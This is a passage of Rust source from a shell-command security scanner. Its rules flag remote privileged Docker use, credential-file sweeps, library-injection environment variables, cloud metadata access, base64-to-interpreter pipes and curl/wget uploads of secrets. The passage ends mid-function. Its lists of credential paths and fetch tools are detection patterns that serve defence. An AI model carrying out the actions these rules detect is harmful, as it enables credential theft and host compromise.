1245 if resolved_cmd != "docker" && resolved_cmd != "podman" {
1246 continue;
1247 }
1248
1249 let norm_args: Vec<String> = effective_seg
1250 .args
1251 .iter()
1252 .map(|a| normalize_shell_token(a, shell))
1253 .collect();
1254
1255 let has_remote = detect_docker_remote_host(&norm_args, &effective_seg, shell);
1256 if !has_remote {
1257 continue;
1258 }
1259
1260 let has_priv = norm_args.iter().any(|a| a == "--privileged");
1261 let has_root_mount = has_docker_root_mount(&norm_args);
1262
1263 if has_priv || has_root_mount {
1264 findings.push(Finding {
1265 rule_id: RuleId::DockerRemotePrivEsc,
1266 severity: Severity::Critical,
1267 title: "Docker remote privileged escalation detected".to_string(),
1268 description: "Command targets a remote Docker daemon with privileged access or \
1269 host root mount, enabling full host compromise"
1270 .to_string(),
1271 evidence: vec![Evidence::CommandPattern {
1272 pattern: "docker remote privesc".to_string(),
1273 matched: redact::redact_shell_assignments(&seg.raw),
1274 }],
1275 human_view: None,
1276 agent_view: None,
1277 mitre_id: None,
1278 custom_rule_id: None,
1279 });
1280 return;
1281 }
1282 }
1283}
1284
1285fn detect_docker_remote_host(
1286 norm_args: &[String],
1287 seg: &tokenize::Segment,
1288 shell: ShellType,
1289) -> bool {
1290 for (i, arg) in norm_args.iter().enumerate() {
1291 let lower = arg.to_lowercase();
1292 if arg.starts_with("-H=tcp://") || lower.starts_with("--host=tcp://") {
1293 return true;
1294 }
1295 if arg == "-H" || lower == "--host" {
1296 if let Some(next) = norm_args.get(i + 1) {
1297 if next.starts_with("tcp://") {
1298 return true;
1299 }
1300 }
1301 }
1302 }
1303 for (name, value) in tokenize::leading_env_assignments(&seg.raw) {
1305 if name.eq_ignore_ascii_case("DOCKER_HOST") {
1306 let clean_val = normalize_shell_token(&value, shell);
1307 if clean_val.starts_with("tcp://") {
1308 return true;
1309 }
1310 }
1311 }
1312 let args = &seg.args;
1315 for (i, arg) in args.iter().enumerate() {
1316 let norm = normalize_shell_token(arg, shell);
1317 if let Some(val) = norm
1318 .strip_prefix("DOCKER_HOST=")
1319 .or_else(|| norm.strip_prefix("docker_host="))
1320 {
1321 if i > 0 {
1322 let prev = normalize_shell_token(&args[i - 1], shell);
1323 let prev_lower = prev.to_lowercase();
1324 if prev_lower == "-e" || prev_lower == "--env" {
1325 continue;
1326 }
1327 }
1328 let clean_val = normalize_shell_token(val, shell);
1329 if clean_val.starts_with("tcp://") {
1330 return true;
1331 }
1332 }
1333 }
1334 false
1335}
1336
1337fn has_docker_root_mount(norm_args: &[String]) -> bool {
1338 for (i, arg) in norm_args.iter().enumerate() {
1339 let lower = arg.to_lowercase();
1340 if lower == "-v" || lower == "--volume" {
1341 if let Some(val) = norm_args.get(i + 1) {
1342 if val.starts_with("/:/") {
1343 return true;
1344 }
1345 }
1346 }
1347 if lower.starts_with("-v=/:/") || lower.starts_with("--volume=/:/") {
1348 return true;
1349 }
1350 let mount_val = if lower == "--mount" {
1351 norm_args.get(i + 1).map(|s| s.as_str())
1352 } else {
1353 lower.strip_prefix("--mount=")
1354 };
1355 if let Some(mv) = mount_val {
1356 if mv.contains("src=/,")
1357 || mv.contains("source=/,")
1358 || mv.ends_with("src=/")
1359 || mv.ends_with("source=/")
1360 {
1361 return true;
1362 }
1363 }
1364 }
1365 false
1366}
1367
1368const CREDENTIAL_PATHS: &[&str] = &[
1369 "/.ssh/id_",
1370 "/.ssh/authorized_keys",
1371 "/.aws/credentials",
1372 "/.aws/config",
1373 "/.docker/config.json",
1374 "/.kube/config",
1375 "/.config/gcloud/",
1376 "/.npmrc",
1377 "/.pypirc",
1378 "/.netrc",
1379 "/.gnupg/",
1380 "/.config/gh/",
1381 "/.git-credentials",
1382];
1383
1384const READ_ARCHIVE_VERBS: &[&str] = &[
1385 "cat", "tar", "zip", "gzip", "strings", "head", "tail", "base64", "xxd", "dd", "cp", "find",
1386 "xargs",
1387];
1388
1389fn check_credential_file_sweep(
1390 segments: &[tokenize::Segment],
1391 shell: ShellType,
1392 context: ScanContext,
1393 findings: &mut Vec<Finding>,
1394) {
1395 if context != ScanContext::Exec {
1396 return;
1397 }
1398
1399 for seg in segments {
1400 let effective_seg =
1401 unwrap_env_split_string_segment(seg, shell).unwrap_or_else(|| seg.clone());
1402 let resolved_cmd = resolve_base_through_wrappers(&effective_seg, shell);
1403 if !READ_ARCHIVE_VERBS.contains(&resolved_cmd.as_str()) {
1404 continue;
1405 }
1406
1407 let norm_args: Vec<String> = effective_seg
1408 .args
1409 .iter()
1410 .map(|a| normalize_shell_token(a, shell))
1411 .collect();
1412 let seg_text = norm_args.join(" ");
1413 let matched_count = CREDENTIAL_PATHS
1414 .iter()
1415 .filter(|p| seg_text.contains(**p))
1416 .count();
1417
1418 if matched_count >= 2 {
1419 findings.push(Finding {
1420 rule_id: RuleId::CredentialFileSweep,
1421 severity: Severity::Medium,
1422 title: "Multiple credential files accessed".to_string(),
1423 description: format!(
1424 "Command accesses {matched_count} known credential file paths in a single \
1425 invocation, which may indicate credential harvesting"
1426 ),
1427 evidence: vec![Evidence::CommandPattern {
1428 pattern: "credential file sweep".to_string(),
1429 matched: redact::redact_shell_assignments(&seg.raw),
1430 }],
1431 human_view: None,
1432 agent_view: None,
1433 mitre_id: None,
1434 custom_rule_id: None,
1435 });
1436 return;
1437 }
1438 }
1439}
1440
1441const CODE_INJECTION_VARS: &[&str] = &[
1443 "LD_PRELOAD",
1444 "LD_LIBRARY_PATH",
1445 "LD_AUDIT",
1446 "DYLD_INSERT_LIBRARIES",
1447 "DYLD_LIBRARY_PATH",
1448];
1449
1450const SHELL_INJECTION_VARS: &[&str] = &["BASH_ENV", "ENV", "PROMPT_COMMAND"];
1452
1453const INTERPRETER_HIJACK_VARS: &[&str] = &["PYTHONPATH", "NODE_OPTIONS", "RUBYLIB", "PERL5LIB"];
1455
1456use super::shared::SENSITIVE_KEY_VARS;
1458
1459fn classify_env_var(name: &str) -> Option<(RuleId, Severity, &'static str, &'static str)> {
1460 let name_upper = name.to_ascii_uppercase();
1461 let name = name_upper.as_str();
1462 if CODE_INJECTION_VARS.contains(&name) {
1463 Some((
1464 RuleId::CodeInjectionEnv,
1465 Severity::Critical,
1466 "Code injection environment variable",
1467 "can inject shared libraries into all processes, enabling arbitrary code execution",
1468 ))
1469 } else if SHELL_INJECTION_VARS.contains(&name) {
1470 Some((
1471 RuleId::ShellInjectionEnv,
1472 Severity::Critical,
1473 "Shell injection environment variable",
1474 "can cause arbitrary script execution at shell startup",
1475 ))
1476 } else if INTERPRETER_HIJACK_VARS.contains(&name) {
1477 Some((
1478 RuleId::InterpreterHijackEnv,
1479 Severity::High,
1480 "Interpreter hijack environment variable",
1481 "can hijack the interpreter's module/library search path",
1482 ))
1483 } else if SENSITIVE_KEY_VARS.contains(&name) {
1484 Some((
1485 RuleId::SensitiveEnvExport,
1486 Severity::High,
1487 "Sensitive credential exported",
1488 "exposes a sensitive credential that may be logged in shell history",
1489 ))
1490 } else {
1491 None
1492 }
1493}
1494
1495const CARGO_VALUE_FLAGS: &[&str] = &[
1497 "-Z",
1498 "-C",
1499 "--config",
1500 "--manifest-path",
1501 "--color",
1502 "--target-dir",
1503 "--target",
1504];
1505
1506fn is_cargo_install_or_add(args: &[String]) -> bool {
1509 let mut skip_next = false;
1510 for arg in args {
1511 if skip_next {
1512 skip_next = false;
1513 continue;
1514 }
1515 if arg.starts_with('+') {
1517 continue;
1518 }
1519 if arg.starts_with("--") && arg.contains('=') {
1520 continue;
1521 }
1522 if CARGO_VALUE_FLAGS.contains(&arg.as_str()) {
1523 skip_next = true;
1524 continue;
1525 }
1526 if arg.starts_with('-') {
1527 continue;
1528 }
1529 return arg == "install" || arg == "add";
1530 }
1531 false
1532}
1533
1534fn check_vet_not_configured(
1536 segments: &[tokenize::Segment],
1537 cwd: Option<&str>,
1538 findings: &mut Vec<Finding>,
1539) {
1540 let is_cargo_install = segments.iter().any(|s| {
1541 if let Some(ref cmd) = s.command {
1542 let base = cmd
1543 .rsplit(['/', '\\'])
1544 .next()
1545 .unwrap_or(cmd)
1546 .to_ascii_lowercase();
1547 let base = base.strip_suffix(".exe").unwrap_or(&base);
1548 if base == "cargo" {
1549 return is_cargo_install_or_add(&s.args);
1550 }
1551 }
1552 false
1553 });
1554 if !is_cargo_install {
1555 return;
1556 }
1557
1558 let cwd = match cwd {
1560 Some(dir) => dir,
1561 None => return,
1562 };
1563 let check_path = std::path::PathBuf::from(cwd).join("supply-chain/config.toml");
1564 if check_path.exists() {
1565 return;
1566 }
1567
1568 findings.push(Finding {
1569 rule_id: RuleId::VetNotConfigured,
1570 severity: Severity::Low,
1571 title: "No supply-chain audit configured".into(),
1572 description: "Consider running `cargo vet init` to enable dependency auditing.".into(),
1573 evidence: vec![],
1574 human_view: None,
1575 agent_view: None,
1576 mitre_id: None,
1577 custom_rule_id: None,
1578 });
1579}
1580
1581fn check_env_var_in_command(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
1582 for segment in segments {
1583 let Some(ref cmd) = segment.command else {
1584 continue;
1585 };
1586 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
1587
1588 match cmd_base.as_str() {
1589 "export" => {
1590 for arg in &segment.args {
1591 if let Some((var_name, value)) = arg.split_once('=') {
1592 emit_env_finding(var_name.trim(), value, findings);
1593 }
1594 }
1595 }
1596 "env" => {
1597 for arg in &segment.args {
1598 let trimmed = arg.trim();
1599 if trimmed.starts_with('-') {
1600 continue;
1601 }
1602 if let Some((var_name, value)) = trimmed.split_once('=') {
1603 emit_env_finding(var_name.trim(), value, findings);
1604 }
1605 }
1606 }
1607 "set" => {
1608 let mut var_name: Option<&str> = None;
1610 let mut value_parts: Vec<&str> = Vec::new();
1611 for arg in &segment.args {
1612 let trimmed = arg.trim();
1613 if trimmed.starts_with('-') && var_name.is_none() {
1614 continue;
1615 }
1616 if var_name.is_none() {
1617 var_name = Some(trimmed);
1618 } else {
1619 value_parts.push(trimmed);
1620 }
1621 }
1622 if let Some(name) = var_name {
1623 emit_env_finding(name, &value_parts.join(" "), findings);
1624 }
1625 }
1626 _ => {}
1627 }
1628 }
1629}
1630
1631fn emit_env_finding(var_name: &str, value: &str, findings: &mut Vec<Finding>) {
1632 let Some((rule_id, severity, title_prefix, desc_suffix)) = classify_env_var(var_name) else {
1633 return;
1634 };
1635 let value_preview = redact_env_value(value);
1636 findings.push(Finding {
1637 rule_id,
1638 severity,
1639 title: format!("{title_prefix}: {var_name}"),
1640 description: format!("Setting {var_name} {desc_suffix}"),
1641 evidence: vec![Evidence::EnvVar {
1642 name: var_name.to_string(),
1643 value_preview,
1644 }],
1645 human_view: None,
1646 agent_view: None,
1647 mitre_id: None,
1648 custom_rule_id: None,
1649 });
1650}
1651
1652fn redact_env_value(val: &str) -> String {
1653 if val.is_empty() {
1654 String::new()
1655 } else {
1656 "[REDACTED]".to_string()
1657 }
1658}
1659
1660const METADATA_ENDPOINTS: &[&str] = &["169.254.169.254", "100.100.100.200"];
1662
1663fn check_host_for_network_issues(arg: &str, findings: &mut Vec<Finding>) {
1664 if let Some(host) = extract_host_from_arg(arg) {
1665 if METADATA_ENDPOINTS.contains(&host.as_str()) {
1666 findings.push(Finding {
1667 rule_id: RuleId::MetadataEndpoint,
1668 severity: Severity::Critical,
1669 title: format!("Cloud metadata endpoint access: {host}"),
1670 description: format!(
1671 "Command accesses cloud metadata endpoint {host}, \
1672 which can expose instance credentials and sensitive configuration"
1673 ),
1674 evidence: vec![Evidence::Url {
1675 raw: arg.to_string(),
1676 }],
1677 human_view: None,
1678 agent_view: None,
1679 mitre_id: None,
1680 custom_rule_id: None,
1681 });
1682 } else if is_private_ip(&host) {
1683 findings.push(Finding {
1684 rule_id: RuleId::PrivateNetworkAccess,
1685 severity: Severity::High,
1686 title: format!("Private network access: {host}"),
1687 description: format!(
1688 "Command accesses private network address {host}, \
1689 which may indicate SSRF or lateral movement"
1690 ),
1691 evidence: vec![Evidence::Url {
1692 raw: arg.to_string(),
1693 }],
1694 human_view: None,
1695 agent_view: None,
1696 mitre_id: None,
1697 custom_rule_id: None,
1698 });
1699 }
1700 }
1701}
1702
1703fn check_network_destination(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
1704 for segment in segments {
1705 let Some(ref cmd) = segment.command else {
1706 continue;
1707 };
1708 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
1709 if !is_source_command(&cmd_base) {
1710 continue;
1711 }
1712
1713 for arg in &segment.args {
1714 let trimmed = arg.trim().trim_matches(|c: char| c == '\'' || c == '"');
1715 if trimmed.starts_with('-') {
1716 if let Some((_flag, value)) = trimmed.split_once('=') {
1718 check_host_for_network_issues(value, findings);
1719 }
1720 continue;
1721 }
1722
1723 check_host_for_network_issues(trimmed, findings);
1724 }
1725 }
1726}
1727
1728fn extract_host_from_arg(arg: &str) -> Option<String> {
1730 if let Some(scheme_end) = arg.find("://") {
1731 let after_scheme = &arg[scheme_end + 3..];
1732 let after_userinfo = if let Some(at_idx) = after_scheme.find('@') {
1733 &after_scheme[at_idx + 1..]
1734 } else {
1735 after_scheme
1736 };
1737 let host_port = after_userinfo.split('/').next().unwrap_or(after_userinfo);
1738 let host = strip_port(host_port);
1739 if host.is_empty() || host.contains('/') || host.contains('[') {
1740 return None;
1741 }
1742 return Some(host);
1743 }
1744
1745 let host_part = arg.split('/').next().unwrap_or(arg);
1747 let host = strip_port(host_part);
1748
1749 if host.parse::<std::net::Ipv4Addr>().is_ok() {
1750 return Some(host);
1751 }
1752
1753 if host_part.starts_with('[') {
1754 if let Some(bracket_end) = host_part.find(']') {
1755 let ipv6 = &host_part[1..bracket_end];
1756 if ipv6.parse::<std::net::Ipv6Addr>().is_ok() {
1757 return Some(ipv6.to_string());
1758 }
1759 }
1760 }
1761
1762 None
1763}
1764
1765fn strip_port(host_port: &str) -> String {
1767 if host_port.starts_with('[') {
1769 if let Some(bracket_end) = host_port.find(']') {
1770 return host_port[1..bracket_end].to_string();
1771 }
1772 }
1773 let colon_count = host_port.chars().filter(|&c| c == ':').count();
1775 if colon_count > 1 {
1776 return host_port.to_string();
1777 }
1778 if let Some(colon_idx) = host_port.rfind(':') {
1779 if host_port[colon_idx + 1..].parse::<u16>().is_ok() {
1780 return host_port[..colon_idx].to_string();
1781 }
1782 }
1783 host_port.to_string()
1784}
1785
1786fn is_private_ip(host: &str) -> bool {
1788 if let Ok(ip) = host.parse::<std::net::Ipv4Addr>() {
1789 let octets = ip.octets();
1790 if octets[0] == 127 {
1792 return false;
1793 }
1794 return octets[0] == 10
1795 || (octets[0] == 172 && (16..=31).contains(&octets[1]))
1796 || (octets[0] == 192 && octets[1] == 168);
1797 }
1798 false
1799}
1800
1801const POSIX_FETCH_COMMANDS: &[&str] = &["curl", "wget", "http", "https", "xh", "fetch"];
1803
1804const POWERSHELL_FETCH_COMMANDS: &[&str] =
1807 &["iwr", "irm", "invoke-webrequest", "invoke-restmethod"];
1808
1809const NON_FETCH_SOURCE_COMMANDS: &[&str] = &["scp", "rsync"];
1811
1812fn is_source_command(cmd: &str) -> bool {
1813 POSIX_FETCH_COMMANDS.contains(&cmd)
1814 || POWERSHELL_FETCH_COMMANDS.contains(&cmd)
1815 || NON_FETCH_SOURCE_COMMANDS.contains(&cmd)
1816}
1817
1818fn is_url_fetch_command(cmd: &str) -> bool {
1820 POSIX_FETCH_COMMANDS.contains(&cmd) || POWERSHELL_FETCH_COMMANDS.contains(&cmd)
1821}
1822
1823fn supports_tirith_run_hint(cmd: &str) -> bool {
1826 POSIX_FETCH_COMMANDS.contains(&cmd)
1827}
1828
1829fn starts_with_http_scheme(s: &str) -> bool {
1831 let b = s.as_bytes();
1832 (b.len() >= 8 && b[..8].eq_ignore_ascii_case(b"https://"))
1833 || (b.len() >= 7 && b[..7].eq_ignore_ascii_case(b"http://"))
1834}
1835
1836fn sanitize_url_for_display(url: &str) -> String {
1840 url.chars().filter(|&c| !c.is_ascii_control()).collect()
1841}
1842
1843fn extract_urls_from_args(args: &[String], shell: ShellType) -> Vec<String> {
1845 let mut urls = Vec::new();
1846 for arg in args {
1847 let normalized = normalize_shell_token(arg.trim(), shell);
1848
1849 if starts_with_http_scheme(&normalized) {
1850 urls.push(normalized);
1851 continue;
1852 }
1853
1854 if let Some((_, val)) = normalized.split_once('=') {
1856 if starts_with_http_scheme(val) {
1857 urls.push(val.to_string());
1858 }
1859 }
1860 }
1861 urls
1862}
1863
1864pub fn check_network_policy(
1869 input: &str,
1870 shell: ShellType,
1871 deny: &[String],
1872 allow: &[String],
1873) -> Vec<Finding> {
1874 if deny.is_empty() {
1875 return Vec::new();
1876 }
1877
1878 let segments = tokenize::tokenize(input, shell);
1879 let mut findings = Vec::new();
1880
1881 for segment in &segments {
1882 let Some((resolved_name, resolved_args)) = crate::extract::resolve_wrapped_command(segment)
1886 else {
1887 continue;
1888 };
1889 let cmd_base = resolved_name.to_lowercase();
1890 if !is_source_command(&cmd_base) {
1891 continue;
1892 }
1893
1894 let is_scp_family = matches!(cmd_base.as_str(), "scp" | "rsync");
1895 for arg in &resolved_args {
1896 let trimmed = arg.trim().trim_matches(|c: char| c == '\'' || c == '"');
1897 if trimmed.starts_with('-') {
1898 if let Some((_flag, value)) = trimmed.split_once('=') {
1900 if let Some(host) = extract_host_from_arg(value) {
1901 if matches_network_list(&host, allow) {
1902 continue;
1903 }
1904 if matches_network_list(&host, deny) {
1905 findings.push(Finding {
1906 rule_id: RuleId::CommandNetworkDeny,
1907 severity: Severity::Critical,
1908 title: format!("Network destination denied by policy: {host}"),
1909 description: format!(
1910 "Command accesses {host}, which is on the network deny list"
1911 ),
1912 evidence: vec![Evidence::Url {
1913 raw: value.to_string(),
1914 }],
1915 human_view: None,
1916 agent_view: None,
1917 mitre_id: None,
1918 custom_rule_id: None,
1919 });
1920 continue;
1921 }
1922 }
1923 }
1924 continue;
1925 }
1926
1927 if is_scp_family {
1931 if let Some(spec) = crate::extract::parse_scp_remote_spec(trimmed, shell) {
1932 let host = spec.host;
1933 if matches_network_list(&host, allow) {
1934 continue;
1935 }
1936 if matches_network_list(&host, deny) {
1937 findings.push(Finding {
1938 rule_id: RuleId::CommandNetworkDeny,
1939 severity: Severity::Critical,
1940 title: format!("Network destination denied by policy: {host}"),
1941 description: format!(
1942 "scp/rsync accesses {host}, which is on the network deny list"
1943 ),
1944 evidence: vec![Evidence::Url {
1945 raw: trimmed.to_string(),
1946 }],
1947 human_view: None,
1948 agent_view: None,
1949 mitre_id: None,
1950 custom_rule_id: None,
1951 });
1952 return findings;
1953 }
1954 continue;
1955 }
1956 }
1957
1958 if let Some(host) = extract_host_from_arg(trimmed) {
1959 if matches_network_list(&host, allow) {
1960 continue;
1961 }
1962 if matches_network_list(&host, deny) {
1963 findings.push(Finding {
1964 rule_id: RuleId::CommandNetworkDeny,
1965 severity: Severity::Critical,
1966 title: format!("Network destination denied by policy: {host}"),
1967 description: format!(
1968 "Command accesses {host}, which is on the network deny list"
1969 ),
1970 evidence: vec![Evidence::Url {
1971 raw: trimmed.to_string(),
1972 }],
1973 human_view: None,
1974 agent_view: None,
1975 mitre_id: None,
1976 custom_rule_id: None,
1977 });
1978 return findings;
1979 }
1980 }
1981 }
1982 }
1983
1984 findings
1985}
1986
1987fn matches_network_list(host: &str, list: &[String]) -> bool {
1992 for entry in list {
1993 if entry.contains('/') {
1995 if let Some(matched) = cidr_contains(host, entry) {
1996 if matched {
1997 return true;
1998 }
1999 continue;
2000 }
2001 }
2002
2003 if host.eq_ignore_ascii_case(entry) {
2005 return true;
2006 }
2007
2008 if host.len() > entry.len()
2010 && host.ends_with(entry.as_str())
2011 && host.as_bytes()[host.len() - entry.len() - 1] == b'.'
2012 {
2013 return true;
2014 }
2015 }
2016 false
2017}
2018
2019fn cidr_contains(host: &str, cidr: &str) -> Option<bool> {
2022 let parts: Vec<&str> = cidr.splitn(2, '/').collect();
2023 if parts.len() != 2 {
2024 return None;
2025 }
2026 let network: std::net::Ipv4Addr = parts[0].parse().ok()?;
2027 let prefix_len: u32 = parts[1].parse().ok()?;
2028 if prefix_len > 32 {
2029 return None;
2030 }
2031 let host_ip: std::net::Ipv4Addr = host.parse().ok()?;
2032
2033 let mask = if prefix_len == 0 {
2034 0u32
2035 } else {
2036 !0u32 << (32 - prefix_len)
2037 };
2038 let net_bits = u32::from(network) & mask;
2039 let host_bits = u32::from(host_ip) & mask;
2040
2041 Some(net_bits == host_bits)
2042}
2043
2044fn check_base64_decode_execute(
2045 segments: &[tokenize::Segment],
2046 shell: ShellType,
2047 findings: &mut Vec<Finding>,
2048) {
2049 for (i, seg) in segments.iter().enumerate() {
2051 if let Some(ref cmd) = seg.command {
2052 let cmd_base = normalize_cmd_base(cmd, shell);
2053 if cmd_base == "base64" {
2054 let has_decode_flag = seg.args.iter().any(|arg| {
2055 let norm = normalize_shell_token(arg, shell);
2056 matches!(norm.as_str(), "-d" | "--decode" | "-D")
2057 });
2058 if has_decode_flag {
2059 if let Some(next_seg) = segments.get(i + 1) {
2060 if let Some(ref sep) = next_seg.preceding_separator {
2061 if (sep == "|" || sep == "|&")
2062 && resolve_interpreter_name(next_seg, shell).is_some()
2063 {
2064 findings.push(Finding {
2065 rule_id: RuleId::Base64DecodeExecute,
2066 severity: Severity::High,
2067 title: "Base64 decode piped to interpreter".to_string(),
2068 description: "Command decodes base64 content and pipes it directly to an interpreter for execution".to_string(),
2069 evidence: vec![Evidence::CommandPattern {
2070 pattern: "base64 decode | interpreter".to_string(),
2071 matched: redact::redact_shell_assignments(&format!(
2072 "{} | {}", seg.raw, next_seg.raw
2073 )),
2074 }],
2075 human_view: None,
2076 agent_view: None,
2077 mitre_id: None,
2078 custom_rule_id: None,
2079 });
2080 }
2081 }
2082 }
2083 }
2084 }
2085 }
2086
2087 if i >= 1 {
2089 if let Some(ref sep) = seg.preceding_separator {
2090 if sep == "|" || sep == "|&" {
2091 if let Some(ref cmd) = seg.command {
2092 let cmd_base = normalize_cmd_base(cmd, shell);
2093 if cmd_base == "base64" {
2094 let has_decode = seg.args.iter().any(|arg| {
2095 let norm = normalize_shell_token(arg, shell);
2096 matches!(norm.as_str(), "-d" | "--decode" | "-D")
2097 });
2098 if has_decode {
2099 if let Some(next_seg) = segments.get(i + 1) {
2100 if let Some(ref next_sep) = next_seg.preceding_separator {
2101 if (next_sep == "|" || next_sep == "|&")
2102 && resolve_interpreter_name(next_seg, shell).is_some()
2103 {
2104 let already_found = findings
2106 .iter()
2107 .any(|f| f.rule_id == RuleId::Base64DecodeExecute);
2108 if !already_found {
2109 findings.push(Finding {
2110 rule_id: RuleId::Base64DecodeExecute,
2111 severity: Severity::High,
2112 title: "Base64 decode piped to interpreter".to_string(),
2113 description: "Command decodes base64 content and pipes it directly to an interpreter for execution".to_string(),
2114 evidence: vec![Evidence::CommandPattern {
2115 pattern: "base64 decode | interpreter".to_string(),
2116 matched: redact::redact_shell_assignments(&format!(
2117 "{} | {}", seg.raw, next_seg.raw
2118 )),
2119 }],
2120 human_view: None,
2121 agent_view: None,
2122 mitre_id: None,
2123 custom_rule_id: None,
2124 });
2125 }
2126 }
2127 }
2128 }
2129 }
2130 }
2131 }
2132 }
2133 }
2134 }
2135 }
2136
2137 for seg in segments {
2140 let interpreter = if let Some(ref cmd) = seg.command {
2141 let cmd_base = normalize_cmd_base(cmd, shell);
2142 if is_interpreter(&cmd_base) {
2143 Some(cmd_base)
2144 } else {
2145 resolve_interpreter_name(seg, shell)
2146 }
2147 } else {
2148 None
2149 };
2150
2151 if let Some(interp) = interpreter {
2152 let has_exec_flag = seg.args.iter().any(|arg| {
2153 let norm = normalize_shell_token(arg, shell);
2154 norm == "-c" || norm == "-e"
2155 });
2156 if has_exec_flag {
2157 let args_joined = seg.args.join(" ");
2158 let lower = args_joined.to_lowercase();
2159 let has_decode_exec = (lower.contains("b64decode") && lower.contains("exec"))
2160 || (lower.contains("atob") && lower.contains("eval"))
2161 || (lower.contains("buffer.from") && lower.contains("eval"));
2162 if has_decode_exec {
2163 findings.push(Finding {
2164 rule_id: RuleId::Base64DecodeExecute,
2165 severity: Severity::High,
2166 title: "Inline base64 decode-execute".to_string(),
2167 description: format!(
2168 "Interpreter '{interp}' executes code with base64 decode and eval/exec co-occurrence"
2169 ),
2170 evidence: vec![Evidence::CommandPattern {
2171 pattern: "interpreter -c/e with decode+execute".to_string(),
2172 matched: redact::redact_shell_assignments(&seg.raw),
2173 }],
2174 human_view: None,
2175 agent_view: None,
2176 mitre_id: None,
2177 custom_rule_id: None,
2178 });
2179 }
2180 }
2181 }
2182 }
2183
2184 for seg in segments {
2186 if let Some(ref cmd) = seg.command {
2187 let cmd_base = normalize_cmd_base(cmd, shell);
2188 if cmd_base == "powershell" || cmd_base == "pwsh" {
2189 let has_enc_flag = seg.args.iter().any(|arg| {
2190 let norm = normalize_shell_token(arg, shell);
2191 let lower = norm.to_lowercase();
2192 lower == "-encodedcommand" || lower == "-enc" || lower == "-ec"
2193 });
2194 if has_enc_flag {
2195 findings.push(Finding {
2196 rule_id: RuleId::Base64DecodeExecute,
2197 severity: Severity::High,
2198 title: "PowerShell encoded command".to_string(),
2199 description: format!(
2200 "PowerShell ({cmd_base}) invoked with -EncodedCommand, executing base64-encoded script"
2201 ),
2202 evidence: vec![Evidence::CommandPattern {
2203 pattern: "powershell -EncodedCommand".to_string(),
2204 matched: redact::redact_shell_assignments(&seg.raw),
2205 }],
2206 human_view: None,
2207 agent_view: None,
2208 mitre_id: None,
2209 custom_rule_id: None,
2210 });
2211 }
2212 }
2213 }
2214 }
2215}
2216
2217const SENSITIVE_PATHS: &[&str] = &[
2219 "/etc/passwd",
2220 "/etc/shadow",
2221 "~/.ssh/id_rsa",
2222 "~/.ssh/id_ed25519",
2223 "~/.ssh/id_ecdsa",
2224 "~/.ssh/id_dsa",
2225 "~/.aws/credentials",
2226 "~/.kube/config",
2227 "~/.docker/config.json",
2228 "~/.gnupg/",
2229 "~/.netrc",
2230 "~/.git-credentials",
2231];
2232
2233fn is_sensitive_file_ref(value: &str) -> bool {
2234 let v = value.trim_start_matches('@');
2235 SENSITIVE_PATHS.iter().any(|p| v.contains(p))
2236}
2237
2238fn has_sensitive_env_ref(value: &str) -> bool {
2239 use crate::rules::shared::SENSITIVE_KEY_VARS;
2240 for var in SENSITIVE_KEY_VARS {
2241 if value.contains(&format!("${var}")) || value.contains(&format!("${{{var}}}")) {
2242 return true;
2243 }
2244 }
2245 false
2246}
2247
2248fn has_sensitive_cmd_substitution(value: &str) -> bool {
2249 if let Some(start) = value.find("$(") {
2251 let rest = &value[start..];
2252 return SENSITIVE_PATHS.iter().any(|p| rest.contains(p));
2253 }
2254 false
2255}
2256
2257fn check_data_exfiltration(
2258 segments: &[tokenize::Segment],
2259 shell: ShellType,
2260 findings: &mut Vec<Finding>,
2261) {
2262 for seg in segments {
2263 let Some(ref cmd) = seg.command else {
2264 continue;
2265 };
2266 let cmd_base = normalize_cmd_base(cmd, shell);
2267
2268 match cmd_base.as_str() {
2269 "curl" => check_curl_exfiltration(seg, shell, findings),
2270 "wget" => check_wget_exfiltration(seg, shell, findings),
2271 _ => {}
2272 }
2273 }
2274}
2275
2276fn check_curl_exfiltration(seg: &tokenize::Segment, shell: ShellType, findings: &mut Vec<Finding>) {
2277 let args = &seg.args;
2278 let mut i = 0;
2279 while i < args.len() {
2280 let norm = normalize_shell_token(&args[i], shell);
2281
2282 let is_data_flag =
2284 norm == "-d" || norm.starts_with("--data") || norm.starts_with("-d") && norm.len() > 2;
2285 let is_form_flag =
2286 norm == "-F" || norm.starts_with("--form") || norm.starts_with("-F") && norm.len() > 2;
2287 let is_upload_flag = norm == "-T" || norm.starts_with("--upload-file");
2288
2289 if is_data_flag || is_form_flag || is_upload_flag {
2290 let value = if let Some(eq_pos) = norm.find('=') {
2291 Some(norm[eq_pos + 1..].to_string())
2292 } else if (norm == "-d"
2293 || norm == "-F"
2294 || norm == "-T"
2295 || norm == "--data"
2296 || norm == "--data-binary"
2297 || norm == "--data-raw"
2298 || norm == "--data-urlencode"
2299 || norm == "--form"
2300 || norm == "--upload-file")
2301 && i + 1 < args.len()
2302 {
2303 i += 1;
2304 Some(normalize_shell_token(&args[i], shell))
2305 } else if (norm.starts_with("-d") || norm.starts_with("-F")) && norm.len() > 2 {
2306 Some(norm[2..].to_string())
2308 } else {
2309 None
2310 };
2311
2312 if let Some(val) = value {
2313 let is_sensitive = if is_upload_flag {
2314 SENSITIVE_PATHS.iter().any(|p| val.contains(p))
2316 } else {
2317 is_sensitive_file_ref(&val)
2318 || has_sensitive_env_ref(&val)
2319 || has_sensitive_cmd_substitution(&val)
2320 };
2321
2322 if is_sensitive {
2323 findings.push(Finding {
2324 rule_id: RuleId::DataExfiltration,
2325 severity: Severity::High,
2326 title: "Data exfiltration via curl upload".to_string(),
2327 description: "curl command uploads sensitive data (credentials, keys, or private files) to a remote server".to_string(),
2328 evidence: vec![Evidence::CommandPattern {
2329 pattern: "curl upload sensitive data".to_string(),
2330 matched: redact::redact_shell_assignments(&seg.raw),
2331 }],
2332 human_view: None,
2333 agent_view: None,
2334 mitre_id: None,
2335 custom_rule_id: None,
2336 });
2337 return;
2338 }
2339 }
2340 }
2341 i += 1;
2342 }
2343}
2344
2345fn check_wget_exfiltration(seg: &tokenize::Segment, shell: ShellType, findings: &mut Vec<Finding>) {
2346 let args = &seg.args;
2347 let mut i = 0;
2348 while i < args.len() {
2349 let norm = normalize_shell_token(&args[i], shell);
2350
2351 let is_post_data = norm.starts_with("--post-data");
2352 let is_post_file = norm.starts_with("--post-file");
2353
2354 if is_post_data || is_post_file {
2355 let value = if let Some(eq_pos) = norm.find('=') {
